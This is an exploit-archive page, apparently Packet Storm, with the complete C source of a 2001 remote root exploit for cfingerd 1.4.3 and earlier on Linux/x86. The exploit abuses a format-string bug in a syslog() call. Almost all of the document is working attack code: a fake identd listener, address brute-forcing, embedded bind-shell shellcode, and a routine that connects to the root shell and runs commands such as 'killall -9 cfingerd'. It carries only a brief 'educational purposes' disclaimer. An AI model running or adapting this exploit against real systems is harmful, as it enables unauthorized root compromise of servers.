what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

rdC-cfingerd.c

rdC-cfingerd.c
Posted May 8, 2001
Authored by venomous | Site rdcrew.com.ar

Cfingerd prior to v1.4.3 remote root exploit for linux/x86. Exploits a format string vulnerability in the syslog() call.

tags | exploit, remote, x86, root
systems | linux
SHA-256 | d8bf8ec5db51a03a2a06971d1a62f5b817394a89a0963c7f4adf17a3b5bfdc71

rdC-cfingerd.c

Change Mirror Download
/* remote exploit for linux/x86 - cfingerd <= 1.4.3
* coded by venomous of rdC - 16/apr/01
*
* Its just a common formatstring bug using syslog() incorrectly.
* We need to bind as identd, so disable your identd in case you are
* using it.
*
* BONUS: eip address is bruteforced, so relax and wait =)
*
* NOTE: for sure where we control the format string will change from
* platform to platform.
* And for sure, the shellcode address will change so maybe you
* want to bruteforce this too. (-1500 to +1500 should be fine i guess)
*
* REMEMBER: this code is for educational propourses only, do not use
* it on machines without authorization.
*
* INFO: cfingerd isnt a package of slackware 7.0
* cfingerd 1.4.1 is a package of debian 2.2
*
* Greets: ka0z, bruj0, dn0, superluck, fugitivo(!)
* #flatline, #rdC
*
* Credits: To Lez, who found this bug.
*
* http://www.rdcrew.com.ar - Argentinian Security Group.
* venomous@rdcrew.com.ar
*/


#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define ROOTSHELLPORT 36864

void chld_timeo();
void chld_timeoo();

int sserver;
int cserver;
int phase=0;
int mmm=0;

unsigned long glob;
//unsigned long startaddr = 0xbffffdfc;
unsigned long startaddr = 0xbffffb34;
unsigned long stopaddr = 0xbffff000;

char pbuf[1024];

char testcode[]=
"\xeb\x0b\x2e\x72\x64\x43\x2e\x72\x6f\x63\x6b\x73\x2e\xeb\xfe";

char linuxcode[]=
/* Lamagra bind shellcode modified by me, making it smaller =) - 124b */
"\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
"\x40\x89\xc3\x89\x46\x0c\x40\x89"
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
"\x80\x43\xc6\x46\x10\x10\x88\x46"
"\x08\x31\xc0\x31\xd2\x89\x46\x18"
"\xb0\x90\x66\x89\x46\x16\x8d\x4e"
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
"\x66\xcd\x80\x89\x5e\x0c\x43\x43"
"\xb0\x66\xcd\x80\x89\x56\x0c\x89"
"\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
"\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
"\x80\x88\x56\x07\x89\x76\x0c\x87"
"\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
"\xe8\x8d\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";

struct os
{
int id;
char *os;
char *shellcode;
int fsc;
unsigned long shaddr;
int offset;
};

struct os types[]=
{
{0, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as root", linuxcode, 22, 0xbffffbc4, 30},
{1, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as nobody", linuxcode, 22, 0xbffffbc4, 30},
{2, "debian 2.2 - default cfingerd 1.4.1 running from inetd as root", linuxcode, 33, 0xbffffb48, 0},
{3, "debian 2.2 - default cfingerd 1.4.1 running from inetd as nobody", linuxcode, 33, 0xbffffb48, 0},
{4, NULL, 0, 0xdeadbeef, 0}
};

main(int argc, char *argv[])
{
struct sockaddr_in sin;
struct sockaddr_in ssin;
int fd;
int x;
int xx=0;
int sts=0;
int pete;
int a,b,c=22,d=0; /* c is used in case you want to seek the fsc on */
int guide=1; /* your system, starting from 22, change it if you */
int sel=0; /* want. */
int bleh=0; /* */
int off=0;
int arx=0;
int niu=0;
int ye=0;
char buf[1024];
char tex[512];

if (argc < 4)
{
printf("cfingerd <= 1.4.3 remote exploit coded by venomous of rdC\n\n");
printf("Usage: %s <platform> <host> <offset>\n",argv[0]);
printf("where <platform> is:\n");
for (x=0 ; types[x].os != NULL ; x++)
printf("%d for %s\n", types[x].id, types[x].os);
printf("\nhttp://www.rdcrew.com.ar\n\n");
exit(1);
}

for (x=0 ; types[x].os != NULL ; x++)
{
if (types[x].id == atoi(argv[1]) )
{
xx++;
sel = types[x].id;
}
}
if (!xx)
{
printf("Unknown platform: %s\n",argv[1]);
exit(1);
}

off = atoi(argv[3]);
printf("Selected platform: %s (%d)\n",types[sel].os,sel);
bzero(&sin,sizeof(sin));

// fake identd
sin.sin_family = AF_INET;
sin.sin_port = htons(113);
sin.sin_addr.s_addr = htonl(INADDR_ANY);

if ( (fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
exit(1);
}
if ( (x = bind(fd,(struct sockaddr *)&sin, sizeof(sin)) < 0))
{
perror("bind");
exit(1);
}

if ( (xx = listen(fd, 5)) < 0)
{
perror("listen");
exit(1);
}

printf("fake identd bound successfuly\n\n");
printf("pre-phase info: If you need to use the offset you can use safely steps of 120\n\n");
printf("phase 0: finding eip... \n");
while (guide)
{
//maybe you need it..
// if (!d)
// {
preparebuf(sel, off, ye);
fconnect(argv[2], ye, 79);
// }

pete = sizeof(ssin);
if ( (sserver = accept(fd, (struct sockaddr *)&ssin, &pete)) < 0)
{
perror("accept");
exit(1);
}
bzero(buf,sizeof(buf));
read(sserver,buf,sizeof(buf));

//horrendus debug! :)
#ifdef DEBUG
printf("\nread(): %s\n",buf);
#endif
sscanf(buf,"%d,%d",&a,&b);
bzero(buf,sizeof(buf));
bzero(tex,sizeof(tex));
memset(tex,'\x90',119);

bleh=strlen(pbuf);
niu = 0;

while (1)
{
if(strlen(pbuf) < 65)
{
if (phase==0)
pbuf[bleh] = '\x90';
else
pbuf[bleh] = types[sel].shellcode[niu];
bleh++;
if (phase==1)
niu++;
}
else
break;
}
arx = niu;

if(!phase)
for(bleh=0 ; bleh < strlen(testcode) ; bleh++)
tex[119 - strlen(testcode) + bleh] = testcode[bleh];

else
{
if ((119 - (strlen(types[sel].shellcode) - arx)) < 0)
{
printf("shellcode too long, exiting\n");
exit(0);
}

for ( bleh=0 ; bleh < ( (strlen(types[sel].shellcode)) - arx) ; bleh++)
tex[119 - (strlen(types[sel].shellcode)) - arx + bleh] = types[sel].shellcode[bleh+arx];
}

snprintf(buf,sizeof(buf),"%s : : : %s", tex, pbuf);
/* usefull for find the fsc on your system.
//snprintf(buf,sizeof(buf),"%d , %d : UNIX : 1 : AAAA%%%d$p:fsc:%d\n",a,b,c,c);
// read about 'd' below
if (d==2) { c++; d=0; }
*/
write(sserver,buf,sizeof(buf));

//the same..
#ifdef DEBUG
printf("sent: %s\n--------------------\n",buf);
#endif
close(sserver);
sleep(2);

//same..
// if(d)
wait(&sts);
// d++;

/* if something like tcplogd is running there will be 3 connections
* to identd, so in that case, d==3
*/
//if(d==2)
// d=0;

if ((WEXITSTATUS(sts)) == 1) // eip/shellcode address ok (at phase 0)
{
phase=1; ye=1; sts=0;
printf("\nphase 1: calculating address of the first chacarcter in our buffer... wait\n");
}

if ((WEXITSTATUS(sts)) == 2) // shellcode executed (at phase 1)
{
printf("\nphase 2 connecting to rootshell... ");
fflush(stdout);
close(fd); //identd fake server
fconnect(argv[2], 2, ROOTSHELLPORT);
printf("\n\nThanks for using rdC products!\n\n");
exit(0);
}
}
}

int fconnect(char *hname, int what, int port)
{
struct hostent *host;
struct sockaddr_in d;
int r;
char hname2[128];
char response[1024];
d.sin_family = AF_INET;
d.sin_port = htons(port);

bzero(hname2,sizeof(hname2));
strncpy(hname2,hname,sizeof(hname2));
host = gethostbyname(hname2);
if (!host)
{
printf("cannot resolve\n");
exit(0);
}

bcopy(host->h_addr, (struct in_addr *)&d.sin_addr, host->h_length);

cserver = socket(AF_INET, SOCK_STREAM, 0);

// you can add a timeout here, but supossly you know if the server
// is up/not firewalled, because you are using it against an authorized
// machine and not in a script/not authorized machine, right?

if (connect(cserver, (struct sockaddr *)&d, sizeof(struct sockaddr)) < 0)
{
perror("connect");
exit(1);
}

if (what==2)
{
printf("connected!\n");
fflush(stdout);
rootsox(cserver);
close(cserver);
return;
}

write(cserver,"a\n",strlen("a\n"));

if ((fork()) == 0)
{
printf("Waiting response...");
for(r=0 ; r < 19 ; r++)
printf("\b");
fflush(stdout);
bzero(response,sizeof(response));
if (what==0)
signal(SIGALRM, chld_timeo);
else
signal(SIGALRM, chld_timeoo);

alarm(30);
read(cserver,response,sizeof(response));
if (strstr(response,"SIGILL"))
{
printf("Illegal Instruction\r");
fflush(stdout);
close(cserver);
exit(0);
}
if (strstr(response,"SIGSEGV"))
{
printf("Segmentation Fault.\r");
fflush(stdout);
close(cserver);
exit(0);
}
//you might add strings here..
if (strstr(response,"Sorry, that user doesn't exist") || strstr(response,"Debian GNU/Linux"))
{
printf("server not crashed.\r");
fflush(stdout);
close(cserver);
exit(0);
}
}
//close(cserver);
}

/* <huh> */
void chld_timeo()
{
alarm(0);
signal(SIGALRM, SIG_DFL);
printf("EIP FOUND! - SHELLCODE ADDR OK!\n");
fflush(stdout);
close(cserver);
exit(1);
}

void chld_timeoo()
{
alarm(0);
signal(SIGALRM, SIG_DFL);
printf("shellcode executed!\n");
fflush(stdout);
close(cserver);
exit(2);
}
/* </huh> */

int rootsox(int sox)
{
fd_set rset;
int n;
char buffer[4096];

/* we kill the cfingerd in eternal loop and we run other nice commands ;)
*/
char *command="/bin/killall -9 cfingerd ; /bin/uname -a ; /usr/bin/id\n";

send(sox, command, strlen(command), 0);

for (;;) {
FD_ZERO (&rset);
FD_SET (sox, &rset);
FD_SET (STDIN_FILENO, &rset);

n = select(sox + 1, &rset, NULL, NULL, NULL);
if(n <= 0)
return (-1);

if(FD_ISSET (sox, &rset)) {
n = recv (sox, buffer, sizeof (buffer), 0);
if (n <= 0)
break;

write (STDOUT_FILENO, buffer, n);
}

if(FD_ISSET (STDIN_FILENO, &rset)) {
n = read (STDIN_FILENO, buffer, sizeof (buffer));
if (n <= 0)
break;

send(sox, buffer, n, 0);
}
}
return 0;
}

//heavly modified formatstring engine from rdC-LPRng.c exploit - 12/00
preparebuf(int sel, int off, int what)
{
unsigned long addr;
unsigned long a, b, c, d;
int pas1,pas2,pas3,pas4;
int i;
char temp[512];
char buf[512];
char atemp[128];
char bufx[512];

startaddr = startaddr - 0x4;
addr = startaddr;

bzero(temp,sizeof(temp));
bzero(buf,sizeof(buf));
bzero(bufx,sizeof(bufx));
bzero(atemp,sizeof(atemp));

if (addr == stopaddr)
{
printf("\nreached stopaddr, change shellcode address/fsc\n");
exit(1);
}

if(what)
{
off-=mmm;
mmm++;
}

if (mmm == 185)
{
printf("?!.. we cant find the first character of our shellcode!#@\n");
exit(0);
}

snprintf(temp,sizeof(temp),"%p",types[sel].shaddr+types[sel].offset+off);
sscanf(temp,"0x%2x%2x%2x%2x",&a,&b,&c,&d);
pas1 = d - (16 * 2);
pas1 = cn(pas1);
pas2 = c - d;
pas2 = cn(pas2);
pas3 = b - c;
pas3 = cn(pas3);
pas4 = a - b;
pas4 = cn(pas4);

if(what)
addr = glob;
else
glob = addr;

printf("eip: %p - shellcode addr: %p - ",addr,types[sel].shaddr+types[sel].offset+off);
fflush(stdout);

for (i=0 ; i < 4 ; i++)
{
snprintf(atemp,sizeof(atemp),"%s",&addr);
strncat(buf, atemp, 4);
addr++;
}

snprintf(bufx,sizeof(bufx),"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,(types[sel].fsc),pas2,(types[sel].fsc)+1,pas3,(types[sel].fsc)+2,pas4,types[sel].fsc+3);
strcat(buf,bufx);
bzero(pbuf,sizeof(pbuf));
strncpy(pbuf,buf,sizeof(pbuf));
}

cn(unsigned long addr)
{
char he[128];

snprintf(he,sizeof(he),"%d",addr);
if (atoi(he) < 8)
addr = addr + 256;

return addr;
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close